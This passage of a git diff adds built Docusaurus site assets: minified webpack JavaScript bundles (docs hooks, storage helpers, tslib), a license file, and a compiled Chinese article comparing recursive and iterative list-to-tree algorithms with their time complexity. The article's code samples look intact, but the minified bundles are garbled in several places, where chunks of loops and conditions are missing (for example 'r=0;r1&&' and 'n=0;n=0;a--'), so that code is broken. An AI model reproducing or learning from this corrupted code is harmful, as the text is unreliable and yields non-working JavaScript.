0!==e?e:a};n.useDocsData=function(e){return u.usePluginData("docusaurus-plugin-content-docs",e)};n.useActivePlugin=function(e){void 0===e&&(e={});var t=n.useAllDocsData(),r=o.useLocation().pathname;return i.getActivePlugin(t,r,e)};n.useActivePluginAndVersion=function(e){void 0===e&&(e={});var t=n.useActivePlugin(e),r=o.useLocation().pathname;if(t)return{activePlugin:t,activeVersion:i.getActiveVersion(t.pluginData,r)}};n.useVersions=function(e){return n.useDocsData(e).versions};n.useLatestVersion=function(e){var t=n.useDocsData(e);return i.getLatestVersion(t)};n.useActiveVersion=function(e){var t=n.useDocsData(e),r=o.useLocation().pathname;return i.getActiveVersion(t,r)};n.useActiveDocContext=function(e){var t=n.useDocsData(e),r=o.useLocation().pathname;return i.getActiveDocContext(t,r)};n.useDocVersionSuggestions=function(e){var t=n.useDocsData(e),r=o.useLocation().pathname;return i.getDocVersionSuggestions(t,r)}},1217:function(e,n,t){t.d(n,{Z:function(){return a}});var r=t(7294),o=t(9105),u=t(1773),i=t(4996);function a(e){var n=e.title,t=e.description,a=e.keywords,c=e.image,s=e.children,l=(0,u.pe)(n),f=(0,i.C)().withBaseUrl,d=c?f(c,{absolute:!0}):void 0;return r.createElement(o.Z,null,n&&r.createElement("title",null,l),n&&r.createElement("meta",{property:"og:title",content:l}),t&&r.createElement("meta",{name:"description",content:t}),t&&r.createElement("meta",{property:"og:description",content:t}),a&&r.createElement("meta",{name:"keywords",content:Array.isArray(a)?a.join(","):a}),d&&r.createElement("meta",{property:"og:image",content:d}),d&&r.createElement("meta",{name:"twitter:image",content:d}),s)}},907:function(e,n,t){t.d(n,{Iw:function(){return r.useActiveDocContext},gA:function(){return r.useActivePlugin},zu:function(){return r.useActiveVersion},_r:function(){return r.useAllDocsData},Jo:function(){return r.useDocVersionSuggestions},zh:function(){return r.useDocsData},yW:function(){return r.useLatestVersion},gB:function(){return r.useVersions}});var r=t(6730)},3783:function(e,n,t){var r=t(7294),o=t(412),u="desktop",i="mobile",a="ssr";function c(){return o.Z.canUseDOM?window.innerWidth>996?u:i:a}n.Z=function(){var e=(0,r.useState)((function(){return c()})),n=e[0],t=e[1];return(0,r.useEffect)((function(){function e(){t(c())}return window.addEventListener("resize",e),function(){window.removeEventListener("resize",e),clearTimeout(undefined)}}),[]),n}},1773:function(e,n,t){t.d(n,{pl:function(){return ve},zF:function(){return M},HX:function(){return g},PO:function(){return G},L5:function(){return oe},Cv:function(){return Y},Cn:function(){return X},kM:function(){return ae},WA:function(){return s},os:function(){return h},Mg:function(){return b},_f:function(){return l},PZ:function(){return ye},bc:function(){return p},MA:function(){return me},l5:function(){return d},nT:function(){return pe},uR:function(){return x},J:function(){return ie},be:function(){return ge},SL:function(){return A},g8:function(){return Q},D9:function(){return D},LU:function(){return o},pe:function(){return w}});var r=t(2263);function o(){return(0,r.Z)().siteConfig.themeConfig}var u="localStorage";function i(e){if(void 0===e&&(e=u),"undefined"==typeof window)throw new Error("Browser storage is not available on Node.js/Docusaurus SSR process.");if("none"===e)return null;try{return window[e]}catch(t){return n=t,a||(console.warn("Docusaurus browser storage is not available.\nPossible reasons: running Docusaurus in an iframe, in an incognito browser session, or using too strict browser privacy settings.",n),a=!0),null}var n}var a=!1;var c={get:function(){return null},set:function(){},del:function(){}};var s=function(e,n){if("undefined"==typeof window)return function(e){function n(){throw new Error('Illegal storage API usage for storage key "'+e+'".\nDocusaurus storage APIs are not supposed to be called on the server-rendering process.\nPlease only call storage APIs in effects and event handlers.')}return{get:n,set:n,del:n}}(e);var t=i(null==n?void 0:n.persistence);return null===t?c:{get:function(){return t.getItem(e)},set:function(n){return t.setItem(e,n)},del:function(){return t.removeItem(e)}}};function l(e){void 0===e&&(e=u);var n=i(e);if(!n)return[];for(var t=[],r=0;r1&&e.preventDefault()},onClick:function(e){e.stopPropagation();var n=e.target;H(n)&&q(n,i.current)&&(e.preventDefault(),c?(s(!1),d(!0)):s(!0))}}),t,P.createElement(M,{lazy:!1,collapsed:c,disableSSRStyle:!0,onCollapseTransitionEnd:function(e){s(e),d(!e)}},P.createElement("div",{className:z},r)))};var J=(0,P.createContext)(null);function X(e){var n=e.children;return P.createElement(J.Provider,{value:(0,P.useState)(null)},n)}function K(){var e=(0,P.useContext)(J);if(null===e)throw new Error("MobileSecondaryMenuProvider was not used correctly, context value is null");return e}function Q(){var e=K()[0];if(e){var n=e.component;return function(t){return P.createElement(n,Object.assign({},e.props,t))}}return function(){}}function Y(e){var n,t=e.component,r=e.props,o=K()[1],u=(n=r,(0,P.useMemo)((function(){return n}),[].concat(Object.keys(n),Object.values(n))));return(0,P.useEffect)((function(){o({component:t,props:u})}),[o,t,u]),(0,P.useEffect)((function(){return function(){return o(null)}}),[o]),null}var $=function(e){return"docs-preferred-version-"+e},ee={save:function(e,n,t){s($(e),{persistence:n}).set(t)},read:function(e,n){return s($(e),{persistence:n}).get()},clear:function(e,n){s($(e),{persistence:n}).del()}};function ne(e){var n=e.pluginIds,t=e.versionPersistence,r=e.allDocsData;var o={};return n.forEach((function(e){o[e]=function(e){var n=ee.read(e,t);return r[e].versions.some((function(e){return e.name===n}))?{preferredVersionName:n}:(ee.clear(e,t),{preferredVersionName:null})}(e)})),o}function te(){var e=(0,m._r)(),n=o().docs.versionPersistence,t=(0,P.useMemo)((function(){return Object.keys(e)}),[e]),r=(0,P.useState)((function(){return function(e){var n={};return e.forEach((function(e){n[e]={preferredVersionName:null}})),n}(t)})),u=r[0],i=r[1];return(0,P.useEffect)((function(){i(ne({allDocsData:e,versionPersistence:n,pluginIds:t}))}),[e,n,t]),[u,(0,P.useMemo)((function(){return{savePreferredVersion:function(e,t){ee.save(e,n,t),i((function(n){var r;return Object.assign({},n,((r={})[e]={preferredVersionName:t},r))}))}}}),[i])]}var re=(0,P.createContext)(null);function oe(e){var n=e.children;return y?P.createElement(ue,null,n):P.createElement(P.Fragment,null,n)}function ue(e){var n=e.children,t=te();return P.createElement(re.Provider,{value:t},n)}function ie(e){void 0===e&&(e="default");var n=(0,m.zh)(e),t=function(){var e=(0,P.useContext)(re);if(!e)throw new Error('Can\'t find docs preferred context, maybe you forgot to use the "DocsPreferredVersionContextProvider"?');return e}(),r=t[0],o=t[1],u=r[e].preferredVersionName;return{preferredVersion:u?n.versions.find((function(e){return e.name===u})):null,savePreferredVersionName:(0,P.useCallback)((function(n){o.savePreferredVersion(e,n)}),[o])}}var ae={page:{blogListPage:"blog-list-page",blogPostPage:"blog-post-page",blogTagsListPage:"blog-tags-list-page",blogTagPostListPage:"blog-tags-post-list-page",docsDocPage:"docs-doc-page",docsTagsListPage:"docs-tags-list-page",docsTagDocListPage:"docs-tags-doc-list-page",mdxPage:"mdx-page"},wrapper:{main:"main-wrapper",blogPages:"blog-wrapper",docPages:"docs-wrapper",mdxPages:"mdx-wrapper"}},ce=s("docusaurus.announcement.dismiss"),se=s("docusaurus.announcement.id"),le=function(){return"true"===ce.get()},fe=function(e){return ce.set(String(e))},de=(0,P.createContext)(null),ve=function(e){var n=e.children,t=function(){var e=o().announcementBar,n=(0,U.Z)(),t=(0,P.useState)((function(){return!!n&&le()})),r=t[0],u=t[1];(0,P.useEffect)((function(){u(le())}),[]);var i=(0,P.useCallback)((function(){fe(!0),u(!0)}),[]);return(0,P.useEffect)((function(){if(e){var n=e.id,t=se.get();"annoucement-bar"===t&&(t="announcement-bar");var r=n!==t;se.set(n),r&&fe(!1),!r&&le()||u(!1)}}),[]),(0,P.useMemo)((function(){return{isClosed:r,close:i}}),[r])}();return P.createElement(de.Provider,{value:t},n)},pe=function(){var e=(0,P.useContext)(de);if(!e)throw new Error("useAnnouncementBar(): AnnouncementBar not found in React context: make sure to use the AnnouncementBarProvider on top of the tree");return e};function ge(){var e=(0,r.Z)().siteConfig.baseUrl;return(0,f.TH)().pathname.replace(e,"/")}var he=t(4973),me=function(){return(0,he.I)({id:"theme.tags.tagsPageTitle",message:"Tags",description:"The title of the tag list page"})};function ye(e){var n={};return Object.values(e).forEach((function(e){var t,r=function(e){return e[0].toUpperCase()}(e.name);n[r]=null!==(t=n[r])&&void 0!==t?t:[],n[r].push(e)})),Object.entries(n).sort((function(e,n){var t=e[0],r=n[0];return t.localeCompare(r)})).map((function(e){return{letter:e[0],tags:e[1].sort((function(e,n){return e.name.localeCompare(n.name)}))}}))}},8802:function(e,n){Object.defineProperty(n,"__esModule",{value:!0}),n.default=function(e,n){var t=n.trailingSlash,r=n.baseUrl;if(e.startsWith("#"))return e;if(void 0===t)return e;var o,u=e.split(/[#?]/)[0],i="/"===u||u===r?u:(o=u,t?function(e){return e.endsWith("/")?e:e+"/"}(o):function(e){return e.endsWith("/")?e.slice(0,-1):e}(o));return e.replace(u,i)}},8780:function(e,n,t){var r=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(n,"__esModule",{value:!0}),n.uniq=n.applyTrailingSlash=void 0;var o=t(8802);Object.defineProperty(n,"applyTrailingSlash",{enumerable:!0,get:function(){return r(o).default}});var u=t(9964);Object.defineProperty(n,"uniq",{enumerable:!0,get:function(){return r(u).default}})},9964:function(e,n){Object.defineProperty(n,"__esModule",{value:!0}),n.default=function(e){return Array.from(new Set(e))}},6010:function(e,n,t){function r(e){var n,t,o="";if("string"==typeof e||"number"==typeof e)o+=e;else if("object"==typeof e)if(Array.isArray(e))for(n=0;n=0;a--)(o=e[a])&&(i=(u<3?o(i):u>3?o(n,t,i):o(n,t))||i);return u>3&&i&&Object.defineProperty(n,t,i),i}function c(e,n){return function(t,r){n(t,r,e)}}function s(e,n){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(e,n)}function l(e,n,t,r){return new(t||(t=Promise))((function(o,u){function i(e){try{c(r.next(e))}catch(n){u(n)}}function a(e){try{c(r.throw(e))}catch(n){u(n)}}function c(e){var n;e.done?o(e.value):(n=e.value,n instanceof t?n:new t((function(e){e(n)}))).then(i,a)}c((r=r.apply(e,n||[])).next())}))}function f(e,n){var t,r,o,u,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return u={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(u[Symbol.iterator]=function(){return this}),u;function a(u){return function(a){return function(u){if(t)throw new TypeError("Generator is already executing.");for(;i;)try{if(t=1,r&&(o=2&u[0]?r.return:u[0]?r.throw||((o=r.return)&&o.call(r),0):r.next)&&!(o=o.call(r,u[1])).done)return o;switch(r=0,o&&(u=[2&u[0],o.value]),u[0]){case 0:case 1:o=u;break;case 4:return i.label++,{value:u[1],done:!1};case 5:i.label++,r=u[1],u=[0];continue;case 7:u=i.ops.pop(),i.trys.pop();continue;default:if(!(o=i.trys,(o=o.length>0&&o[o.length-1])||6!==u[0]&&2!==u[0])){i=0;continue}if(3===u[0]&&(!o||u[1]>o[0]&&u[1]=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(n?"Object is not iterable.":"Symbol.iterator is not defined.")}function g(e,n){var t="function"==typeof Symbol&&e[Symbol.iterator];if(!t)return e;var r,o,u=t.call(e),i=[];try{for(;(void 0===n||n-- >0)&&!(r=u.next()).done;)i.push(r.value)}catch(a){o={error:a}}finally{try{r&&!r.done&&(t=u.return)&&t.call(u)}finally{if(o)throw o.error}}return i}function h(){for(var e=[],n=0;n1||a(e,n)}))})}function a(e,n){try{(t=o[e](n)).value instanceof b?Promise.resolve(t.value.v).then(c,s):l(u[0][2],t)}catch(r){l(u[0][3],r)}var t}function c(e){a("next",e)}function s(e){a("throw",e)}function l(e,n){e(n),u.shift(),u.length&&a(u[0][0],u[0][1])}}function P(e){var n,t;return n={},r("next"),r("throw",(function(e){throw e})),r("return"),n[Symbol.iterator]=function(){return this},n;function r(r,o){n[r]=e[r]?function(n){return(t=!t)?{value:b(e[r](n)),done:"return"===r}:o?o(n):n}:o}}function _(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var n,t=e[Symbol.asyncIterator];return t?t.call(e):(e=p(e),n={},r("next"),r("throw"),r("return"),n[Symbol.asyncIterator]=function(){return this},n);function r(t){n[t]=e[t]&&function(n){return new Promise((function(r,o){(function(e,n,t,r){Promise.resolve(r).then((function(n){e({value:n,done:t})}),n)})(r,o,(n=e[t](n)).done,n.value)}))}}}function E(e,n){return Object.defineProperty?Object.defineProperty(e,"raw",{value:n}):e.raw=n,e}var D=Object.create?function(e,n){Object.defineProperty(e,"default",{enumerable:!0,value:n})}:function(e,n){e.default=n};function A(e){if(e&&e.__esModule)return e;var n={};if(null!=e)for(var t in e)"default"!==t&&Object.prototype.hasOwnProperty.call(e,t)&&d(n,e,t);return D(n,e),n}function S(e){return e&&e.__esModule?e:{default:e}}function O(e,n,t,r){if("a"===t&&!r)throw new TypeError("Private accessor was defined without a getter");if("function"==typeof n?e!==n||!r:!n.has(e))throw new TypeError("Cannot read private member from an object whose class did not declare it");return"m"===t?r:"a"===t?r.call(e):r?r.value:n.get(e)}function C(e,n,t,r,o){if("m"===r)throw new TypeError("Private method is not writable");if("a"===r&&!o)throw new TypeError("Private accessor was defined without a setter");if("function"==typeof n?e!==n||!o:!n.has(e))throw new TypeError("Cannot write private member to an object whose class did not declare it");return"a"===r?o.call(e,t):o?o.value=t:n.set(e,t),t}}}]); \ No newline at end of file diff --git a/assets/js/6159.fdba2847.js.LICENSE.txt b/assets/js/6159.fdba2847.js.LICENSE.txt new file mode 100644 index 0000000..c18ab1d --- /dev/null +++ b/assets/js/6159.fdba2847.js.LICENSE.txt @@ -0,0 +1,14 @@ +/*! ***************************************************************************** +Copyright (c) Microsoft Corporation. + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH +REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, +INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. +***************************************************************************** */ diff --git a/assets/js/667a1a38.a4c2fee2.js b/assets/js/667a1a38.a4c2fee2.js new file mode 100644 index 0000000..b99a93c --- /dev/null +++ b/assets/js/667a1a38.a4c2fee2.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[3253],{3905:function(e,n,t){t.d(n,{Zo:function(){return p},kt:function(){return s}});var r=t(7294);function i(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function a(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);n&&(r=r.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,r)}return t}function o(e){for(var n=1;n=0||(i[t]=e[t]);return i}(e,n);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(i[t]=e[t])}return i}var d=r.createContext({}),c=function(e){var n=r.useContext(d),t=n;return e&&(t="function"==typeof e?e(n):o(o({},n),e)),t},p=function(e){var n=c(e.components);return r.createElement(d.Provider,{value:n},e.children)},u={inlineCode:"code",wrapper:function(e){var n=e.children;return r.createElement(r.Fragment,{},n)}},m=r.forwardRef((function(e,n){var t=e.components,i=e.mdxType,a=e.originalType,d=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),m=c(t),s=i,k=m["".concat(d,".").concat(s)]||m[s]||u[s]||a;return t?r.createElement(k,o(o({ref:n},p),{},{components:t})):r.createElement(k,o({ref:n},p))}));function s(e,n){var t=arguments,i=n&&n.mdxType;if("string"==typeof e||i){var a=t.length,o=new Array(a);o[0]=m;var l={};for(var d in n)hasOwnProperty.call(n,d)&&(l[d]=n[d]);l.originalType=e,l.mdxType="string"==typeof e?e:i,o[1]=l;for(var c=2;c {\n // \u904d\u5386\u6bcf\u4e00\u9879\uff0c\u5982\u679c\u8be5\u9879\u4e0e\u5f53\u524d pid \u5339\u914d\uff0c\u5219\u9012\u5f52\u6784\u5efa\u8be5\u9879\u7684\u5b50\u6811\n if (item[pidName] === pid) {\n const children = listToTree(list, item[idName]);\n if (children.length) {\n item[childName] = children;\n }\n return [...root, item];\n }\n return root;\n }, []);\n}\n')),(0,a.kt)("p",null,"\u65f6\u95f4\u590d\u6742\u5ea6\u5206\u6790\uff1a\u6700\u574f\u7684\u60c5\u51b5\u4e0b\uff0c\u8fd9\u68f5\u6811\u9000\u5316\u4e3a\u94fe\u8868\uff0c\u4e14\u5012\u5e8f\u6392\u5217\u3002\u6bcf\u4e00\u8f6e\u8fed\u4ee3\u9700\u8981\u5728\u6700\u540e\u9762\u624d\u627e\u5230\u76ee\u6807\u8282\u70b9\u3002\u5047\u8bbe\u6709 n \u4e2a\u5143\u7d20\uff0c\u90a3\u4e48\u603b\u8fed\u4ee3\u6b21\u6570\u4e3a ",(0,a.kt)("inlineCode",{parentName:"p"},"n+(n-1) + (n-2) + ... + 1"),"\uff0c\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a O(n^2)\u3002"),(0,a.kt)("h3",{id:"\u89e3\u6cd5\u4e8c"},"\u89e3\u6cd5\u4e8c"),(0,a.kt)("p",null,"\u8fed\u4ee3\u6cd5\uff1a\u5229\u7528\u5bf9\u8c61\u5728 js \u4e2d\u662f\u5f15\u7528\u7c7b\u578b\u7684\u539f\u7406\u3002\u7b2c\u4e00\u8f6e\u904d\u5386\u5c06\u6240\u6709\u7684\u9879\uff0c\u5c06\u9879\u7684 id \u4e0e\u9879\u81ea\u8eab\u5728\u5b57\u5178\u4e2d\u5efa\u7acb\u6620\u5c04\uff0c\u4e3a\u540e\u9762\u7684\u7acb\u5373\u8bbf\u95ee\u505a\u597d\u51c6\u5907\u3002\n\u7531\u4e8e\u64cd\u4f5c\u7684\u6bcf\u4e00\u9879\u90fd\u662f\u5bf9\u8c61\uff0c\u7ed3\u679c\u96c6 root \u4e2d\u7684\u6bcf\u4e00\u9879\u548c\u5b57\u5178\u4e2d\u76f8\u540c id \u5bf9\u5e94\u7684\u9879\u5b9e\u9645\u4e0a\u6307\u5411\u7684\u662f\u540c\u4e00\u5757\u6570\u636e\u3002\u540e\u7eed\u7684\u904d\u5386\u4e2d\uff0c\u76f4\u63a5\u5bf9\u5b57\u5178\u8fdb\u884c\u64cd\u4f5c\uff0c\u64cd\u4f5c\u540c\u65f6\u4f1a\u53cd\u5e94\u5230 root \u4e2d\u3002"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-js"},'function listToTree(\n list,\n rootId = null,\n { idName = "id", pidName = "pid", childName = "children" } = {}\n) {\n const record = {}; // \u7528\u7a7a\u95f4\u6362\u65f6\u95f4\uff0c\u7528\u4e8e\u5c06\u6240\u6709\u9879\u7684 id \u53ca\u81ea\u8eab\u8bb0\u5f55\u5230\u5b57\u5178\u4e2d\n const root = [];\n\n list.forEach((item) => {\n record[item[idName]] = item; // \u8bb0\u5f55 id \u4e0e\u9879\u7684\u6620\u5c04\n item[childName] = [];\n });\n\n list.forEach((item) => {\n if (item[pidName] === rootId) {\n root.push(item);\n } else {\n // \u7531\u4e8e\u6301\u6709\u7684\u662f\u5f15\u7528\uff0crecord \u4e2d\u76f8\u5173\u5143\u7d20\u7684\u4fee\u6539\uff0c\u4f1a\u5728\u53cd\u6620\u5728 root \u4e2d\u3002\n record[item[pidName]][childName].push(item);\n }\n });\n\n return root;\n}\n')),(0,a.kt)("p",null,"record \u5b57\u5178 \u4e0e root \u7ed3\u679c\u96c6\u7684\u53c2\u8003\u5185\u5b58\u5f15\u7528\u5173\u7cfb\u5982\u56fe\u6240\u793a\uff1a"),(0,a.kt)("p",null,(0,a.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/4338052/129750250-f447f56b-4342-4130-b82f-af017bd7c3c7.png",alt:"image"})),(0,a.kt)("p",null,"\u65f6\u95f4\u590d\u6742\u5ea6\u5206\u6790\uff1a\u7ecf\u5386\u4e86\u4e24\u8f6e\u8fed\u4ee3\uff0c\u5047\u8bbe\u6709 n \u4e2a\u5143\u7d20\uff0c\u90a3\u4e48\u603b\u8fed\u4ee3\u6b21\u6570\u4e3a ",(0,a.kt)("inlineCode",{parentName:"p"},"n + n"),"\uff0c\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a O(n)\u3002"),(0,a.kt)("h3",{id:"\u89e3\u6cd5\u4e8c\u53d8\u4f53"},"\u89e3\u6cd5\u4e8c\u53d8\u4f53"),(0,a.kt)("h4",{id:"\u53d8\u4f53\u4e00"},"\u53d8\u4f53\u4e00"),(0,a.kt)("p",null,"\u5728\u89e3\u6cd5\u4e8c\u7684\u57fa\u7840\u4e0a\uff0c\u5c06\u4e24\u8f6e\u8fed\u4ee3\u5408\u5e76\u6210\u4e00\u8f6e\u8fed\u4ee3\u3002\u91c7\u7528\u8fb9\u8fed\u4ee3\u8fb9\u6784\u5efa\u7684\u65b9\u5f0f\uff1a"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-js"},'function listToTree(\n list,\n rootId = null,\n { idName = "id", pidName = "pid", childName = "children" } = {}\n) {\n const record = {}; // \u7528\u7a7a\u95f4\u6362\u65f6\u95f4\uff0c\u7528\u4e8e\u5c06\u6240\u6709\u9879\u7684 id \u53ca\u81ea\u8eab\u8bb0\u5f55\u5230\u5b57\u5178\u4e2d\n const root = [];\n\n list.forEach((item) => {\n const id = item[idName];\n const parentId = item[pidName];\n\n // \u5982\u679c\u8be5\u9879\u4e0d\u5728 record \u4e2d\uff0c\u5219\u653e\u5165 record\u3002\u5982\u679c\u8be5\u9879\u5df2\u5b58\u5728 \uff08\u53ef\u80fd\u7531\u522b\u7684\u9879\u6784\u5efa pid \u52a0\u5165\uff09\uff0c\u5219\u5408\u5e76\u8be5\u9879\u548c\u5df2\u5b58\u5728\u7684\u6570\u636e\n record[id] = !record[id] ? item : { ...item, ...record[id] };\n\n const treeItem = record[id];\n\n if (parentId === rootId) {\n // \u5982\u679c\u662f\u6839\u5143\u7d20\uff0c\u5219\u52a0\u5165\u7ed3\u679c\u96c6\n root.push(treeItem);\n } else {\n // \u5982\u679c\u7236\u5143\u7d20\u4e0d\u5b58\u5728\uff0c\u5219\u521d\u59cb\u5316\u7236\u5143\u7d20\n if (!record[parentId]) {\n record[parentId] = {};\n }\n // \u5982\u679c\u7236\u5143\u7d20\u6ca1\u6709 children, \u5219\u521d\u59cb\u5316\n if (!record[parentId][childName]) {\n record[parentId][childName] = [];\n }\n\n record[parentId][childName].push(treeItem);\n }\n });\n\n return root;\n}\n')),(0,a.kt)("p",null,"\u65f6\u95f4\u590d\u6742\u5ea6\u5206\u6790\uff1a\u7ecf\u5386\u4e86\u4e00\u8f6e\u8fed\u4ee3\uff0c\u5047\u8bbe\u6709 n \u4e2a\u5143\u7d20\uff0c\u90a3\u4e48\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a O(n)\u3002"),(0,a.kt)("h4",{id:"\u53d8\u4f53\u4e8c"},"\u53d8\u4f53\u4e8c"),(0,a.kt)("p",null,"record \u5b57\u5178\u4ec5\u8bb0\u5f55 id \u4e0e children \u7684\u6620\u5c04\u5173\u7cfb\uff0c\u4ee3\u7801\u66f4\u7cbe\u7b80\uff1a"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-js"},'function listToTree(\n list,\n rootId = null,\n { idName = "id", pidName = "pid", childName = "children" } = {}\n) {\n const record = {}; // \u7528\u7a7a\u95f4\u6362\u65f6\u95f4\uff0c\u4ec5\u7528\u4e8e\u8bb0\u5f55 children\n const root = [];\n\n list.forEach((item) => {\n const newItem = Object.assign({}, item); // \u5982\u6709\u9700\u8981\uff0c\u53ef\u4ee5\u590d\u5236 item \uff0c\u53ef\u4ee5\u4e0d\u5f71\u54cd list \u4e2d\u539f\u6709\u7684\u5143\u7d20\u3002\n const id = newItem[idName];\n const parentId = newItem[pidName];\n\n // \u5982\u679c\u5f53\u524d id \u7684 children \u5df2\u5b58\u5728\uff0c\u5219\u52a0\u5165 children \u5b57\u6bb5\u4e2d\uff0c\u5426\u5219\uff0c\u521d\u59cb\u5316 children\n // item \u4e0e record[id] \u5f15\u7528\u540c\u4e00\u4efd children\uff0c\u540e\u7eed\u8fed\u4ee3\u4e2d\u66f4\u65b0 record[parendId] \u5c31\u4f1a\u53cd\u6620\u5230 item \u4e2d\n newItem[childName] = record[id] ? record[id] : (record[id] = []);\n\n if (parentId === rootId) {\n root.push(newItem);\n } else {\n if (!record[parentId]) {\n record[parentId] = [];\n }\n record[parentId].push(newItem);\n }\n });\n\n return root;\n}\n')),(0,a.kt)("p",null,"\u65f6\u95f4\u590d\u6742\u5ea6\u5206\u6790\uff1a\u7ecf\u5386\u4e86\u4e00\u8f6e\u8fed\u4ee3\uff0c\u5047\u8bbe\u6709 n \u4e2a\u5143\u7d20\uff0c\u90a3\u4e48\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a O(n)\u3002"),(0,a.kt)("h3",{id:"\u4ee3\u7801\u6f14\u793a\u53ca\u603b\u7ed3"},"\u4ee3\u7801\u6f14\u793a\u53ca\u603b\u7ed3"),(0,a.kt)("p",null,(0,a.kt)("a",{parentName:"p",href:"https://codesandbox.io/s/practical-sun-vo4yi?file=/src/App.js"},"Code Sandbox - List to Tree")),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"\u9012\u5f52\u6cd5\uff1a\u5728\u6570\u636e\u91cf\u589e\u5927\u7684\u65f6\u5019\uff0c\u6027\u80fd\u4f1a\u6025\u5267\u4e0b\u964d\u3002\u597d\u5904\u662f\u53ef\u4ee5\u5728\u6784\u5efa\u6811\u7684\u8fc7\u7a0b\u4e2d\uff0c\u7ed9\u8282\u70b9\u6dfb\u52a0\u5c42\u7ea7\u4fe1\u606f\u3002"),(0,a.kt)("li",{parentName:"ul"},"\u8fed\u4ee3\u6cd5\uff1a\u901f\u5ea6\u5feb\u3002\u4f46\u5982\u679c\u60f3\u8981\u4e0d\u5f71\u54cd\u6e90\u6570\u636e\uff0c\u9700\u8981\u5728 record \u4e2d\u5b58\u50a8\u4e00\u4efd\u590d\u5236\u7684\u6570\u636e\uff0c\u4e14\u65e0\u6cd5\u5728\u6784\u5efa\u7684\u8fc7\u7a0b\u4e2d\u5f97\u77e5\u8282\u70b9\u7684\u5c42\u7ea7\u4fe1\u606f\uff0c\u9700\u8981\u6784\u5efa\u5b8c\u540e\u518d\u6b21\u6df1\u5ea6\u4f18\u5148\u904d\u5386\u83b7\u53d6\u3002"),(0,a.kt)("li",{parentName:"ul"},"\u8fed\u4ee3\u6cd5\u53d8\u4f53\u4e00\uff1a\u6309\u9700\u521b\u5efa children\uff0c\u53ef\u4ee5\u907f\u514d\u7a7a\u7684 children \u5217\u8868\u3002")))}m.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/6b15a8e7.6c654b0c.js b/assets/js/6b15a8e7.6c654b0c.js new file mode 100644 index 0000000..8f538dd --- /dev/null +++ b/assets/js/6b15a8e7.6c654b0c.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[2617],{3905:function(e,t,n){n.d(t,{Zo:function(){return s},kt:function(){return m}});var a=n(7294);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function i(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var p=a.createContext({}),b=function(e){var t=a.useContext(p),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},s=function(e){var t=b(e.components);return a.createElement(p.Provider,{value:t},e.children)},u={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},c=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,l=e.originalType,p=e.parentName,s=o(e,["components","mdxType","originalType","parentName"]),c=b(n),m=r,k=c["".concat(p,".").concat(m)]||c[m]||u[m]||l;return n?a.createElement(k,i(i({ref:t},s),{},{components:n})):a.createElement(k,i({ref:t},s))}));function m(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var l=n.length,i=new Array(l);i[0]=c;var o={};for(var p in t)hasOwnProperty.call(t,p)&&(o[p]=t[p]);o.originalType=e,o.mdxType="string"==typeof e?e:r,i[1]=o;for(var b=2;b=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var u=r.createContext({}),p=function(e){var t=r.useContext(u),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},c=function(e){var t=p(e.components);return r.createElement(u.Provider,{value:t},e.children)},s={inlineCode:"code",wrapper:function(e){var t=e.children;return 